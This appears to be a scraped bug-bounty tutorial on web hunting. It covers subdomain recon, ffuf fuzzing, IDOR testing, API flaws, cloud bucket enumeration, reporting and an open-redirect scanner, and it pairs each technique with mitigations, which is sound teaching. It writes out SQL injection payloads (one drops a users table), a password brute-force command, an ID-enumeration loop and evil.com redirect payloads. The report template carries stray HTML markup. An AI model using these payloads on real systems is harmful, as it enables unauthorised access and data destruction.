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Introduction:
Web applications remain the 1 attack vector, with 43% of data breaches originating from web app flaws according to the 2025 Verizon DBIR. Bug bounty hunting has evolved into a structured discipline where ethical hackers earn millions by identifying vulnerabilities like SQL injection, XSS, and broken access control. This article extracts actionable techniques from industry trainers and provides a step‑by‑step roadmap to go from reconnaissance to a valid bug report.
Learning Objectives:
- Map and enumerate attack surfaces using modern OSINT and subdomain discovery tools
- Execute manual and automated exploitation for OWASP Top 10 vulnerabilities
- Implement mitigation strategies and write professional vulnerability reports
You Should Know:
- Reconnaissance & Asset Discovery – Find Hidden Entry Points
Start with passive and active reconnaissance to uncover every subdomain, parameter, and endpoint. Use these commands on Linux (Windows users can install WSL or use PowerShell alternatives).
Linux / macOS:
Install subfinder and assetfinder go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest go install -v github.com/tomnomnom/assetfinder@latest Passive subdomain enumeration subfinder -d target.com -all -o subdomains.txt assetfinder --subs-only target.com >> subdomains.txt Probe for live hosts using httpx cat subdomains.txt | httpx -status-code -title -tech-detect -o live_hosts.txt Discover parameters with waybackurls echo target.com | waybackurls | grep "=" | sort -u > params.txt
Windows PowerShell alternative:
Using Invoke-WebRequest (basic) Invoke-WebRequest -Uri "https://crt.sh/?q=%.target.com&output=json" | ConvertFrom-Json | Select-Object -ExpandProperty name_value | Sort-Object -Unique
What this does: Identifies all subdomains, filters those responding with HTTP 200/403/500, and extracts URL parameters that may be vulnerable to injection. Use the live_hosts.txt file to feed into vulnerability scanners.
2. Parameter Fuzzing & Injection Discovery
Fuzzing is the backbone of automated bug hunting. FFUF (Fuzz Faster U Fool) is the industry standard.
Installation & Basic Usage:
Install ffuf go install github.com/ffuf/ffuf/v2@latest Fuzz for directories ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt Fuzz GET parameters for SQLi (using a custom payload list) ffuf -u "https://target.com/page?id=FUZZ" -w sqli_payloads.txt -fc 404 -fs 0 Fuzz POST parameters with data ffuf -u https://target.com/login -X POST -d "username=admin&password=FUZZ" -w passwords.txt -fc 401,403
Sample SQLi payloads (save as sqli_payloads.txt):
' OR '1'='1 ' UNION SELECT NULL-- '; DROP TABLE users; -- 1 AND 1=1 1 AND SLEEP(5)
Windows equivalent: FFUF works identically in WSL. For native Windows, use `fuzzdb` with Burp Intruder.
How to interpret results: Look for response size differences, time delays (SLEEP), or error messages like “MySQL syntax”. A successful fuzz reveals injection points – then manually verify with sqlmap.
3. Exploiting IDOR & Broken Access Control (BAC)
IDOR (Insecure Direct Object Reference) remains the most lucrative vulnerability in private programs. Test it manually using Burp Suite.
Step‑by‑step guide:
- Intercept a request containing a numeric ID (e.g.,
/profile?user_id=1234). - Change the ID to another user’s ID (1235, 1236, or 0, -1).
- If you see their data – you’ve found IDOR.
- For horizontal privilege escalation, change role parameters like `?admin=false` to
true.
Automate IDOR testing with Bash:
for id in {1000..2000}; do
curl -s -o /dev/null -w "%{http_code}" "https://target.com/api/user/$id" -H "Cookie: session=YOUR_COOKIE"
done
Mitigation: Implement object‑level authorization checks on the server; never trust client‑side parameters. Use random UUIDs instead of sequential integers.
4. API Security Testing – The New Goldmine
Modern web apps rely on REST/GraphQL APIs. Test them with Postman and custom curl scripts.
Common API vulnerabilities & payloads:
- Mass Assignment: Add extra JSON fields (
"is_admin": true) - GraphQL Introspection: `{__schema{types{name,fields{name}}}}`
– No‑Rate‑Limiting: Send 1000 login requests in 1 second
Curl command for API fuzzing:
curl -X POST https://api.target.com/v1/login -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"'$payload'"}' -w "\n%{http_code}"
Hardening APIs: Use strict schema validation, implement rate limiting (e.g., 100 req/min), and disable GraphQL introspection in production.
5. Cloud Hardening & Misconfiguration Hunting
Bug hunters often find S3 buckets, Azure Blobs, or open Kubernetes dashboards. Enumerate cloud assets with:
AWS S3 bucket enumeration
bucketname="target"
for suffix in "" "-backup" "-dev" "-prod"; do
bucket="${bucketname}${suffix}"
if aws s3 ls s3://$bucket --no-sign-request 2>/dev/null; then
echo "Open bucket found: $bucket"
fi
done
Check for open Azure storage
az storage blob list --account-name targetbackup --container-name public --num-results 10
Windows (Azure CLI):
az storage container list --account-name targetbackup --query "[?properties.publicAccess != '']"
Mitigation: Never use public-read ACLs on storage containers. Enforce bucket policies that deny unauthenticated requests.
6. Reporting & Proof‑of‑Concept (PoC) Writing
A professional report increases your payout. Follow this template:
Vulnerability
– [bash]</h2>
<h2 style="color: yellow;">Severity: Critical/High/Medium/Low</h2>
<h2 style="color: yellow;">Description: Clear explanation of the flaw</h2>
<h2 style="color: yellow;">Steps to Reproduce:</h2>
<ol>
<li>Navigate to `https://target.com/endpoint` </li>
<li>Intercept request with Burp, change parameter `id` to `1337' OR '1'='1` </li>
</ol>
<h2 style="color: yellow;">3. Observe SQL error and data leak</h2>
<h2 style="color: yellow;">PoC Code (Python):</h2>
[bash]
import requests
url = "https://target.com/vulnerable"
payload = {"id": "1337' OR '1'='1"}
r = requests.get(url, params=payload)
if "mysql_fetch" in r.text:
print("SQLi confirmed!")
Remediation: Use parameterized queries / input validation.
7. Automation with Python for Open Redirects
Write a lightweight scanner to detect open redirects in bulk.
import requests
def check_open_redirect(url, param):
payloads = ["https://evil.com", "//evil.com", "/\evil.com"]
for p in payloads:
test_url = f"{url}?{param}={p}"
r = requests.get(test_url, allow_redirects=False)
if r.status_code in [301,302] and "evil.com" in r.headers.get("Location",""):
print(f"Open redirect: {test_url}")
Usage
check_open_redirect("https://target.com/redirect", "next")
Mitigation: Validate the redirect URL against an allowlist of internal domains.
What Undercode Say:
- Key Takeaway 1: Web application vulnerabilities are still the easiest entry point for attackers – but also the most rewarding for ethical hunters. Combining automated fuzzing with manual logic testing (IDOR, BAC) yields the highest ROI.
- Key Takeaway 2: Cloud misconfigurations and API flaws now surpass traditional web bugs in criticality. Every penetration tester must learn S3 enumeration, GraphQL introspection, and rate‑limit bypasses to stay relevant.
The resources shared by Deepak Saini (WhatsApp community & YouTube channel) provide live target practice and real‑time collaboration. Integrating those community insights with the technical commands above transforms theory into practical, payable bug hunting.
Prediction:
By 2027, AI‑powered fuzzing engines will automate 80% of common vulnerability discovery, forcing bug hunters to specialize in business‑logic flaws, chain exploits, and zero‑day API routes. The demand for hunters who understand cloud infrastructure (AWS IAM, Azure RBAC) will triple, while simple XSS/SQLi submissions will see reduced bounties. Platforms like HackerOne will introduce mandatory AI‑assisted triage, making human creativity the only sustainable competitive advantage. Start learning cloud hardening and GraphQL security today – or risk becoming obsolete.
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IT/Security Reporter URL:
Reported By: Deepak Saini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
